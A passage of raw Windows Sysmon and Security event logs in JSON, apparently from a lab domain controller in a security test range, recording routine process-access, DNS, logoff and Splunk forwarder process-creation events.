11:52:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3855,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:38.313\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:38.313","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3856,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:38.313\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:38.313","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3857,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:38.313\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:38.313","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3858,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:38.313\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:38.313","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3859,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:38.313\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:38.313","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3860,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:38.313\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-001095160500}\r\nSourceProcessId: 664\r\nSourceThreadId: 2796\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-4086-5F2D-0000-0010818F0500}\r\nTargetProcessId: 1944\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-perfmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:38.313","SourceProcessGUID":"{90617006-407B-5F2D-0000-001095160500}","SourceProcessId":"664","SourceThreadId":"2796","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-4086-5F2D-0000-0010818F0500}","TargetProcessId":"1944","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-perfmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":22,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":22,"OpcodeValue":0,"RecordNumber":3861,"ProcessID":2736,"ThreadID":3264,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Dns query:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:37.044\r\nProcessGuid: {90617006-4082-5F2D-0000-00106B700500}\r\nProcessId: 4932\r\nQueryName: win-dc-9849183.attackrange.local\r\nQueryStatus: 0\r\nQueryResults: 10.0.1.14;\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\etc\\apps\\Splunk_TA_stream\\windows_x86_64\\bin\\streamfwd.exe","Category":"Dns query (rule: DnsQuery)","Opcode":"Info","UtcTime":"2020-08-07 11:52:37.044","ProcessGuid":"{90617006-4082-5F2D-0000-00106B700500}","QueryName":"win-dc-9849183.attackrange.local","QueryStatus":"0","QueryResults":"10.0.1.14;","Image":"C:\\Program Files\\SplunkUniversalForwarder\\etc\\apps\\Splunk_TA_stream\\windows_x86_64\\bin\\streamfwd.exe","EventReceivedTime":"2020-08-07 11:52:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4634,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12545,"OpcodeValue":0,"RecordNumber":221782,"ProcessID":860,"ThreadID":4052,"Channel":"Security","Message":"An account was logged off.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3B79E\r\n\r\nLogon Type:\t\t\t3\r\n\r\nThis event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.","Category":"Logoff","Opcode":"Info","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x3b79e","LogonType":"3","EventReceivedTime":"2020-08-07 11:52:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4634,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12545,"OpcodeValue":0,"RecordNumber":221783,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"An account was logged off.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3A30D\r\n\r\nLogon Type:\t\t\t3\r\n\r\nThis event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.","Category":"Logoff","Opcode":"Info","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x3a30d","LogonType":"3","EventReceivedTime":"2020-08-07 11:52:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":3862,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:38.986\r\nProcessGuid: {90617006-4086-5F2D-0000-001053910500}\r\nProcessId: 4328\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nFileVersion: ?\r\nDescription: ?\r\nProduct: ?\r\nCompany: ?\r\nOriginalFileName: ?\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\"\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C\r\nParentProcessGuid: {90617006-407B-5F2D-0000-0010B4110500}\r\nParentProcessId: 5056\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:52:38.986","ProcessGuid":"{90617006-4086-5F2D-0000-001053910500}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","FileVersion":"?","Description":"?","Product":"?","Company":"?","OriginalFileName":"?","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\"","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C","ParentProcessGuid":"{90617006-407B-5F2D-0000-0010B4110500}","ParentProcessId":"5056","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 11:52:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3863,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:38.985\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nSourceProcessId: 5056\r\nSourceThreadId: 3932\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-4086-5F2D-0000-001053910500}\r\nTargetProcessId: 4328\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program 